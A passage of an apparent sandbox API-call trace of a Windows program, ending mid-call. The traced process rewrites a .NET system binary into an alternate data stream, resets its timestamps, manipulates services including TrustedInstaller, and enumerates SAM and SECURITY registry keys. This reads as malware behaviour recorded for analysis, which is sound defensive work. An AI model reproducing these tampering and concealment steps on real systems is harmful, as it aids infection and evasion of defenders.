[0210.229] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0210.251] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0210.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0210.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0210.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0210.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0210.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0210.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0210.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0210.252] RegCloseKey (hKey=0xc4) returned 0x0 [0210.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0210.252] RegCloseKey (hKey=0x148) returned 0x0 [0210.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0210.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0210.252] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ffccac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb8ffccac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9eebdd35, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15f40)) returned 1 [0210.260] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.260] GetLastError () returned 0x5 [0210.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0210.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0210.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0210.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0210.263] NtClose (Handle=0x148) returned 0x0 [0210.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0210.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0210.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0210.821] NtClose (Handle=0x148) returned 0x0 [0210.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0210.821] NtClose (Handle=0xc4) returned 0x0 [0210.821] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0211.175] NtClose (Handle=0x154) returned 0x0 [0211.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0211.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0211.175] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ffccac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb8ffccac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9eebdd35, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15f40)) returned 1 [0211.175] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0211.175] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0211.175] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x15f40 [0211.175] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0211.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x15f40) returned 0x21f4ea8 [0211.175] ReadFile (in: hFile=0x154, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x15f40, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x15f40, lpOverlapped=0x0) returned 1 [0211.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x15f40) returned 0x220adf0 [0211.182] SetEndOfFile (hFile=0x154) returned 1 [0211.182] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0x9eebdd35, dwHighDateTime=0x1c9ea0b)) returned 1 [0211.182] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0211.182] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0211.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0211.182] NtClose (Handle=0x154) returned 0x0 [0211.182] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x9, ftCreationTime.dwLowDateTime=0x246bb, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0211.182] GetLastError () returned 0x2 [0211.182] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0211.182] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0211.182] WriteFile (in: hFile=0x154, lpBuffer=0x220adf0*, nNumberOfBytesToWrite=0x15f40, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x220adf0*, lpNumberOfBytesWritten=0x36f53c*=0x15f40, lpOverlapped=0x0) returned 1 [0211.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0211.184] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0211.184] NtClose (Handle=0x154) returned 0x0 [0211.184] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x10) returned 0x803990 [0211.185] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0211.655] CloseServiceHandle (hSCObject=0x803990) returned 1 [0211.655] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0211.655] GetLastError () returned 0x6 [0211.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x220adf0) returned 1 [0211.655] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0211.656] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0211.656] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0211.656] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x8038a0 [0211.657] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0211.657] GetLastError () returned 0x426 [0211.657] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0211.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0211.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0211.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0211.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0211.658] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0211.658] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.658] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.658] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0211.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.658] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.659] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.659] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0211.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.659] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0211.659] RegCloseKey (hKey=0x80000002) returned 0x0 [0211.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0211.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, 